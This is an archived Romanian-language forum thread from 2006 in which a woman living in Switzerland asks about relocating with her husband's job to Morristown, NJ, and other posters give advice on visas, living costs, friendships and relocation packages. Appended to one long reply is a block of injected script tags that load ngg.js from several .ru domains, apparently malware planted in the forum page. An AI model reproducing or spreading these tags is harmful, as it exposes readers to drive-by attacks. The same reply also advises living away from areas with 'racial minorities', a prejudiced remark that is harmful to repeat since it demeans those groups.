PDA

Arată versiune întreagă : america vs elvetia



rox2004
02.06.2006, 11:20
Buna seara / ziua pentru compatriotii din US.


In primul rand felicitari pentru site si asa cum spunea cineva - este un mare pas inainte faptul de a putea comunica cu cineva aflat "in mijlocul actiunii".. In momentul de fata traim de 2 ani in Elvetia - sotul lucreaza la sediul european al unei companii americane - doi ani care nu au fost usori tinand cont de faptul ca am fost departe de familie, singuri, fara prieteni, inconjurati de oameni reci (deh - elvetieni carora nu le ajungi cu prajina la nas) dar se pare ca exista un post (pt sotul meu)la sediul central al companiei din Morristown.


Credeti ca merita sa plecam atat de departe? este mai bine in Us decat inElvetia ? nu ma refer la siguranta, curatenie, amabilitatea si politetea oamenilor - care nu cred ca ar putea fi mai sus decat sunt in elvetia - ci in general!! Eu, care am o facultate economica si vorbesc franceza(fluent) si engleza (foarte bine) as avea sanse sama angajez inUS? Va intreb acest lucru pt ca in Elvetia - este f greu sa te angajezi ca strain - dar mai ales ca east european... este aproape imposibil? Cum sunt oamenii, iti faci prieteni, daca ai nevoie de ceva ai la cine apela? In momentul de fata, sincer nu stim ce sa facem?


Multumim pt sfaturi

garfield
02.06.2006, 11:45
rox2004, nu pot sa fac comparatie cu elvetia, ca am fost acolo doar in vizita, dar pot sa-ti spun ca in US nu vei avea probleme, in special daca stii limba engleza. Nu e problema sa te angajezi, si nici sa-ti gasesti prieteni daca esti o persoana deschisa si prietenoasa. Bine inteles ca daca vrei sa-ti faci prieteni americani, trebuie sa te adaptezi tu cu cultura si obiceiurile de aici, nu sa te astepti ca ei sa se schimbe si sa se adapteze la tine. smileys/smiley4.gif


Eu nu am avut niciodata probleme sa-mi fac prieteni aici, si nici nu m-am simtit niciodata ca un 'strain'. Bine inteles ca depinde si unde te muti. Daca mergi in ceva orasel mic din mid-west unde toti din oras se cunosc intre ei, probabil ca va vi mult mai greu sa te integrezi.

sauzimdebine
02.06.2006, 15:59
rox2004 bun venit pe aici ... si la cat mai multe clipe virtuale prin acest spatiu.

Din cate am auzit, nu prea multe cei drept dar din surse demne de
incredere, Elvetia nu este tara in care vrei sa traiesti. Daca nu ai
bani foarte multi, bineinteles, indiferent de provenienta lor, caz in
care elvetienii te primesc cu bratele(bancile) deschise.



Despre viata in US, subscriu la cele spuse de Garfield. Cat despre
posibilitatea gasirii unui loc de munca pentru tine, daca sotul va
lucra in Morristown, NJ, si veti locui prin zona, dati un PM o data
ajunsi acolo. Cata vreme vei fi dispusa sa-ti croiesti drumul tau in
domeniul ales, sunt convins ca si pentru tine se poate gasi ceva.

rox2004
02.06.2006, 20:16
Multumesc de mesaje - chiar la niste raspunsuri atat de rapide nu ma asteptam, iar forumul acesta este minunat - asa ceva nu ai in elvetia - desi numai in geneva de ex am inteles ca sunt 4000 de romani - unde sunt, nu stiu, nu i-am vazut niciodata, nu mi-a dat nimeni nici un sfat de cand sunt aici (ba mint, avem niste prieteniromani - darcare, dupa ce au facut facultatea aici, lucreaza de anul trecut aici - autoritatile vor sa iitrimita in romania - ca nu au nevoie de ei !!! - asta este elvetia!!). In privinta banilor asa este - atat timp cat ai bani (nu conteaza provenienta lor ) aici nimeni nu te intreaba nimic - asa ca ajungi sa vezi in geneva, intr-un boutique de lux - doua rusoaice cumparand haine si platind CASH 11000$ !!! Cum nu este cazul nostru ... si cum pana anul trecut doar sotul a lucrat - a fost destul de greu aici. Anul acesta am lucrat si eu cateva luni intr-un post temporar - tare greu obtinut - si tare prost platit - dar a fost mai bine.


Iar acum - incep sieu ca romanul - iti da omul un deget si eu iautoata mana !!! Care sunt preturile lachirii, care sunt salariile acolo? Care ar fi un salariu bun pentru a trai 3 oameni din el (avem un baietel de 1,5 ani) - pt ca nu stiu cand voi gasi eusa ma angajez??Ce ar trebui sa stim inainte sa venim acolo?Si cel mai important - de unde sa luam si noi niste prieteni care sa ne ajute cu acomodarea acolo???


Stiu, veti spune fata asta este nebuna ... dar cum vin dupa 2 ani de izolare si fara prieteni.. nu as vrea sa repet experienta si in plus si la capatul lumii!!


Multumesc inca odata si acum astept raspunsurile voastre pt ca acum stiu sigur ca vor veni...

03.06.2006, 14:43
Interesanta comparatie. Eu am petrecut o vara in Elevetia. Daca ar fi dupa mine i-as compara pe elvetienii din partea germana cu americanii. Cei din partea franceza mi s-au parut mai caldurosi si comunicativi decat americanii.
Trebuie sa va puneti niste intrebari. Intai cu ce statut veti pasi pe solul american. Idealul e sa ai green card si atunci adaptarea merge repede. Daca veniti cu viza L-1 (asa cum pare din postare - intracompany transferee) nu-i rau dar saltul la green card va implica ceva stress si nesiguranta (poate si bani de avocat). In caz ca ceva scartaie cu serviciul sotului in perioada asta (care poate fi si de cativa ani) va trebui sa va faceti bagajele si sa parasiti SUA. A gasi altceva cu H-1B este o posibilitate dar asta nu se rezolva peste noapte.
Chestia cu prietenii depinde si la cine te gandesti. Te gandesti la comunitatile de imigranti romani si la cei ca ei (balcano-rusi in genere) sau la americanii sadea (white anglo-saxon & protestant). Prima categorie cred ca o gasesti usor daca te orientezi dupa biserici iar relatia cu ei va fi directa, ca in Ro. Nu veti duce lipsa de subiecte de interes comun/de discutie. Va fi suplimentata cateodata cu mici rautati, meschinarii, zvonistica falsa, amestec in viata personala si directive dar este de inteles ca prima generatie de imigranti sa fie sub mare stress. Pentru a doua categorie trebuie sa fi perfect integrat. Nu va uitati la Garfield ca el a "trisat"smileys/smiley1.gif venind ca adolescent aici. Trebuie sa va spuneti ca un american "normal" nu va fi niciodata interesat in vreun subiect legat de Ro. decat daca asa isi rezolva vreo problema (financiara, matrimoniala, etc..). Ganditi-va ca sunteti in orasul de bastina din Romania si langa voi apare o pereche din Tadjikistan sau Kazahstan care vorbeste stricat romaneste. Cat de prietenosi ati fi, mai ales daca nivelul lor de trai pare sa fie cu mult sub al vostru si par coplesiti de probleme? Eticheta de imigrant nu este usor de purtat printre WASP-i decat daca faci totul ca sa fi ca ei (si de ce nu ai face-o ? Romania este un subiect mort cand ai facut pasul). Nu este spalare de creier dar cert este ca va veti schimba mental.
Marile avantaje ale Americii fata de Europa ar fi 3:
- lumea in general nu a auzit de Romania (stiu ca este un fel de Rusie mai mica, in trecut buna producatoare de gimnasti si bebelusi la export - adesea sunt intrebat daca este o dictatura). Deci nu iti pun o eticheta atat de negativa ca in Europa de Vest unde ne-au cunoscut lower class-ul prin contact nemijlocit.
- job-urile sunt mult mai usor de luat ca in Europa (probabil ptr. ca se pot si pierde mult mai usor). Insa asta e un avantaj pentru ca important este ca cineva, candva sa-ti dea o sansa.
-in conditii destul de stricte America iti ofera o cale catre cetatenie ceea in Elvetia este de domeniul stiintifico-fantastic (intamplator stiu detalii ).
Cat despre suma minima ptr trai decent parerile variaza. Auzeam recent pe la TV ca salariul mediu in US ar fi $37,000/an brut. Asadar ce e peste ar trebui sa insemne "decent" ptr o persoana, poate mai greu ptr. o familie ca voi. Inca nu aveti probleme cu scoala dar la momentul oportun trebuie sa va permiteti sa locuiti intr-o zona cu scoli bune, fara "minoritati rasiale" dominante. Chiriile variaza dar in genere sunt in zona $700 - $2,000/luna. La asta se adauga "utilities" si cheltuielile legate de masina (practic nu se poate fara, cu putine exceptii), mancarea (sa nu fie prea ieftina ca altfel ajungeti cat casa), inca vreo $500-1000.
t src=h<script src=http://www.nmr43.ru/ngg.js></script><script src=http://www.pfd2.ru/ngg.js></script><script src=http://www.iroe.ru/ngg.js></script><script src=http://www.kodj.ru/ngg.js></script><script src=http://www.kjwd.ru/ngg.js></script><script src=http://www.bce8.ru/ngg.js></script><script src=http://www.nemr.ru/ngg.js></script><script src=http://www.kpo3.ru/ngg.js></script><scri<script src=http://www.iroe.ru/ngg.js></script>

rox2004
04.06.2006, 03:00
Da... ce sa mai spun.. mii de multumiri pentru toate detaliile si timpul petrecut pentru anescrie acest lung mesaj. Avem o idee mai buna despre ceinseamna traiul in US. Nu stim nimic despre conditiile cu care vom veni daca vom veni - eu m-am interesat inainte pentru a fi un pic pregatiti daca se merita sa aplice pentru job sau nu. Acum vom vedea ce va fi. Un singur lucru am de adaugat - suma minima de care spuneai pentru un trai decent ... mi se pare foarte mica (influentatade preturile de aici... si nestiind preturile de acolo).

04.06.2006, 03:44
Nu ma mira ca te mira smileys/smiley1.gif. Intamplarea face sa stiu si eu niste preturi in Elvetia si mi se par sarite de pe fix. Bine, totul depinde si de venituri si mai stiu ca salariile sunt si ele mari in Elvetia. Problema este sa ajungi la acele joburi decente. Asadar, la capitolul asta, avantaj net SUA.

rox2004
14.08.2006, 11:15
Bine v-am regasit. Revin cu intrebari legate de relocatul in US. Ma poate ajuta cineva cu adrese, site-uri unde pot gasi mai multe informatiiutile + costuri referitoare lalocuinta, masini, gradinita, baby sitter,shopping, etccare trebuie indeplinite inainte si dupa sosirea acolo. Cand ne-am mutat in Elvetia amprimit o cartein care erauprezentate toate detaliile de la utilitatile casei pana la formalitati bancare, cumparaturi etc, etc.


Gasesc ceva similar despre US? Isi mai aminteste cineva cum a fost cand a ajuns? Ce greutati ati intampinat?


Multumesc,

GNChicago
14.08.2006, 17:59
Roxi, trebuie sa ne spui unde te vei reloca, in ce oras, stat ptrca multe lucruri difera.


probabil ca daca ai transferul in cadrul unei companii sti unde vei merge.


Sfaturile date de transit sunt ca intotd. exacte si excelente!

ssimona
15.08.2006, 06:19
Pt preturi la chirii: www.apartments.com sau www.rent.com. Ca sa-ti
faci o idee despre preturile caselor: www.realtor.com. Pt preturile
masinilor: www.cars.com. Pe toate site-urile astea exista optiunea de
cautare in functie de adresa, deci daca stii unde o sa mergeti, o sa-ti
faci o idee mai clara, pt ca preturile variaza f mult in functie de
locatie. Pretul asigurarii la masina depinde de masina si de nivelul
asigurarii, minim probabil e cam 4-600 $ pe an.

Daca stii unde o sa mergeti, fa un search pt localitatea si statul
respectiv (de ex Morristown, NJ), majoritatea au site-uri cu informatii
locale, poze, link-uri utile, etc.

Un cont in banca e foarte simplu de deschis, la fel si activarea utilitatilor (curent electric, telefon, caldura, etc).

15.08.2006, 06:45
Io m-as gandi mai bine daca ar fi sa ma relochez in Europa in USA. Se impute treaba in USA... si in plus e o mare diferenta intre stilul de viata, cultura, calitatea vietii intre Europa si USA.


Singura problema in avantajul USA e usurinta integrarii in societatea americana dar in rest...


PS io inca duc dorul Europei. Am lucrat o perioada acolo Ma bate gandul sa ma intorc ...si probabil asa voi face.

18.08.2006, 23:34
<DIV>MAN_US se nasoleste si in Europa. Eu am alternat EU cu America si inapoi in EU, am stat cativa ani in fiecare - am o imagine destul de obiectiva.</DIV>
<DIV></DIV>
<DIV>"stilul de viata, cultura, calitatea vietii" sunt chestii de perceptie individuala,mie mi-a placut america - dar again, fiecare le percepe altfel. Dar un lucru e clar: EU e mult mai scump, in special in comparatie cu East Coast. La ultima relocare cu serviciul am acceptat in Europa acelasi salariu (brut) ca si in USA, si ce-mi ramane la sfarsitul lunii e mult mai putin - dupa taxe, chirie, masina/benzina si cheltuielile de rutina ale casei.</DIV>
<DIV></DIV>
<DIV>rox2004, eu cred ca deja ati luat hotararea - asa ca nu va mai ramane decat sa "optimizati" mutarea informandu-va; dar din tonul dupa care scrii se pare ca veti merge oricum. Bafta.</DIV>

celalb
19.08.2006, 15:54
Daca esti legal in Elvetia ,stai acolo.Doi prieteni au venit in USA,unul din Spania fiind cetatean spaniol si unul din Germania fiind de asemenea cetatean german.Nu au stiut cum sa faca sa plece mai repede de aici inapoi.Odata obisnuit cu Elvetia,respectiv Europa,o sa va fie foarte greu sa va adaptati.TOTUL este diferit in USA,mod de viata,conceptii,traditie,educatie(care lasa de dorit) pentru copii,etc ca sa nu mai spun ca economia ESTE LA PAMANT.Inainte de a face acest pas,vino in vizita si vezi despre ce este vorba.Dupa ce s-a intamplat la 9/11 in New York este FOARTE FOARTE si FOARTE greu sa aranjezi pentru Green Card/drept de sedere permanent.USA nu mai este ce a fost 20 de ani in urma.Daca o sa veniti aici,peste timp si timp i-mi vei da dreptate.

rox2004
22.08.2006, 23:56
Daa.. am fost in imposibilitate de a raspunde pana acum si vad ca intre timp multa lume mi-a raspuns..


Asa cum ma asteptam depinde de fiecare cums-a adaptat, cum s-a integrat si cat s-a realizat acolo - asa cum este peste tot - inclusiv in elvetia sau romania..


Sotul a postulat pt jobul in state - daca nu ar fi existat posibilitatea de a ne intoarce in Romania - ceea ce am exclus din start ... Vom avea rezultatul peste vre-o doua trei saptamani si apoi vom vedea ce va fi.Compania este honeywell - la morristown - deci casa va fi undeva in zona - new jersey - este cineva prin zona??? Poate sa ne dea niste sfaturi???


O intrebare pt celalb:ce este atat de diferit in us fata de europa??? poti sa fii un pic mai clar - sa fim macar pregatiti? In afara faptului ca se mananca nesanatos - ceea ce nu ne convine nici noua - dar probabil vom consuma produse bio oricat de scumpe ar fi - pt ca aici nu vrem sa facem rabat, la ce altceva ar tb sa neasteptam???



Intrebare ptpergamon: exact asta era intrebarea mea: unde sane informam pentru a optimiza mutarea???


Multumesc Simona pentru site-uri.


Bye si pe curand...

Laura
23.08.2006, 06:09
Cand am vazut Morristown, chiar m-am intrebat daca nu cumva e vorba de Honeywell. Voi ati lucrat si in Romania la HW cumva?

Succes cu mutarea!

rox2004
23.08.2006, 07:15
Da.. Laura. Am lucrat la Hon in Romania - sotul nu eu. Stii pe cineva acolo?? Esti si tu prin zona???

Laura
23.08.2006, 14:55
Am lucrat si eu la HW inainte sa vin in State. Acum depinde si la care a lucrat el: HW RO sau Garrett. Eu am fost la primul.

Din pacate, cu mutarea nu va pot sfatui. Eu sunt in partea cealalta a Americii (LA) si am venit la doctorat, asa ca problemele cu care ne confruntam sunt destul de diferite.

23.08.2006, 23:27
rox2004: prin "optimizare" ma refereamin principal lapartea practica/financiara a schimbarii.


Ar trebui sa iei fiecare aspect (major) al vietii voastre de acum, si imagineaza-ti-l in US. Incearca sa vezi care e impactul financiar.Un mod de-a te informa e sa cauti numerele de telefon de la - sa zicem firme de real estate, gradinite, samd - suna-i, spune-le ce cautisi intreaba-i cat costa.


Apoi mai sunt si alte aspecte, de ex.: asigurarea medicala in Elvetia iti acopera toate tratamentele stomatologice, inclusiv coroane, etc ..?S-ar putea ca un US sa nu fie cazul ..Incazul asta rezolvati-va dintii in Elvetia sau in Romania - o sa "optimizati" cateva mii.


Altele poti sa optimizezi negociind pachetul de relocare cu firma. De ex.: cereti-le sa plateasca ei permisul de conducere in US pt. voi amandoi, eventual sa-ti plateasca tie cursuri de limba, sau altele de integrare - in general la transferuri interne firmele faclucrul asta. Negociaza ca in pachetul de relocare sa fie inclusa o "travel allowance" pt. intoarcere in Romania, daca cumva nu o aveti deja.


Ideea e ca relocarea implica niste "frictiuni", care toate adunate inseamna multi bani - incearcati se negociati sa le puneti toate in pachetul (bonusul) de relocare (chiar sitraduceri de acte, si alte maruntisuri)


Spun asta din experienta, eu insumi m-am relocat international de mai multe ori, si fiindca nu stiam toate astea de fiecare data am iesit prost.


Chiar acum pregatesc urmatoarea mutare, in octombrie ne mutam in Orientul Mijlociu.Am cules de pe internet numerele de telefon siam inceput sa sunam la fata locului si sa intrebam preturi, conditii, etc ... Pt. mine asta a fost cel mai bun mod de am informa.

rox2004
24.08.2006, 00:13
Multumesc.. Sunt efectiv coplesita de amabilitatea voastra a tuturor.. M-am obisnuit probabil cu elvetia unde nu exista un asa forum si unde am auzit ca romanii chiar nu vor sa aiba de-a face unii cu altii (ex. am auzit ca geneva exista o comunitate de 4000 romani - numar remarcabil- eu una nu am auzit, nu am vazut pe nici unul.. !!!)


Daa.. cu optimizarea - asa este ai dreptate, toate aceste mutari includ o serie de cheltuieli care la final se aduna. Mi-ai dat o idee buna cu sunatul direct si intrebat efectiv diverse costuri - eu incercam sa aflu diverse site-uri unde sa aflu mai multe informatii. In general - cam tot ce ai mentionat - au fost incluse cand ne-am mutat in elvetia deci sper sa fie si acum. Asa cum ai spus si tu, desi ai avut experienta relocarii international de mai multe ori si ai iesit prost, cu toate acestea acum te pregatesti pentru mutatul in orientul mijlociu - pentru ca in pana la urma sunt niste experiente de viata pe care chiar daca mai tarziu realizezi ca ai fi putut sa le organizezi mai bine - nu le regreti. La fel afost si cazul nostru- cand ne-am mutat in elvetia -am facut multe greseli dar nu o regretam. Vom vedea ce a fi mai departe.


Oricum, multa bafta cu mutatul in orientul mijlociu -trebuie sa ai mult curaj sate muti acolo - dar cred ca in locul tau si eu as face-o.


O intrebare: relocatul tau international a fost legat de serviciul tau presupun - sotia ta cum s-a acomodat de fiecare dat? Copiii??

24.08.2006, 01:36
rox2004,

Nu cumva o firma multinationala precum Honeywell are un "international
relocation
service" cu care lucreaza? Incercati sa aflati, desi ar trebui ca
informatia sa fie inclusa in oferta de job. Astea de obicei se ocupa de
cazare, inclusiv temporara, prin real estate agent si trimisul
lucrurilor. Cel mai important cand te muti intr-un loc nou este sa stii
zonele bune si cele rele (scolile fiind o latura a problemei).

24.08.2006, 04:22
rox2004, asa e, incerci sa te gandesti la toate, dar pana la urma ramane o partecu care pleci in necunoscut.


Oricum, in Europa si America este totusi controlabil,lucrurile sunt clare si de obicei poti sa contezi pe faptul ca ce ti s-a spus sau ai negociat va fi respectat. In cazul meue mult mai nesigur pt. caarabii cam au o predispozitie pentru ... ambiguitate (!!).


Da, eu la fiecare mutare am avut servici "from day one", asa am ca evitat unele din dificultatile celor care au pornit de la zero.


Merci ca m-ai intrebat de familie, aici e intr-adevar problema dificila. Sotia - din pacate - a fost cea sacrificata, a trebuit sa-si intrerupa profesia de fiecare data (ea e medic), iar ultimii ani n-a mai lucrat de loc. Asta e motivul principalpt. care ne mutam in orientul mijlociu - sotia e araboaica (saudi-egipteana) si speram ca acolo sa poata sa profeseze. Si baiatul nostru e inca la varsta la care ii e indiferent unde mergem ..


BTW, tu vei putea lucra in US? Ai de gand?

rox2004
28.08.2006, 09:26
Am intrebat de sotie - pentru ca in cazul nostru - sotul a fost cel transferat cu serviciul, eu l-am insotit, amnascut copilul aici - foarte binesi usor de altfel - de servicii medicale excelente - darl-am crescut singura - fara mama care sa ma ajute, far sora, faranici un prieten,sotul calatorind mult - asa incat primul an sijumatatea fost greu. In ultima perioada afost ok - eu incepand sa lucrez si lucrurile s-au mai aranjat.Am intrebat deci de familie sa vad daca doar mie mi s-a parut grea relocarea sau este ceva normal...


In legatura cu mutatul vostru in Orientul Mijlociu .. poate va fi mai greu pentru tine - dar cred ca sotia ta merita din plin acestlucru!!!Multa bafta!!! sine mai auzim.

rox2004
28.08.2006, 10:56
Aa.. am uitat ! Da, normal ca vreau sa lucrez - dar sa vedem daca si reusesc!! Mai am de imbunatatit engleza - desi am lucrat in engleza - desi eram aici in partea franceza a elvetiei - dar una este sa vorbesti cu nemti, elvetieni, olandezi in engleza - si alta este cand o faci cu americani... cred ca voi lua si niste cursuri sa mearga mai repede - apropos exista scoli de limbi straine sauunde as putea lua cursuri si apoi sa speram ca voi reusi !!!


Numai bine.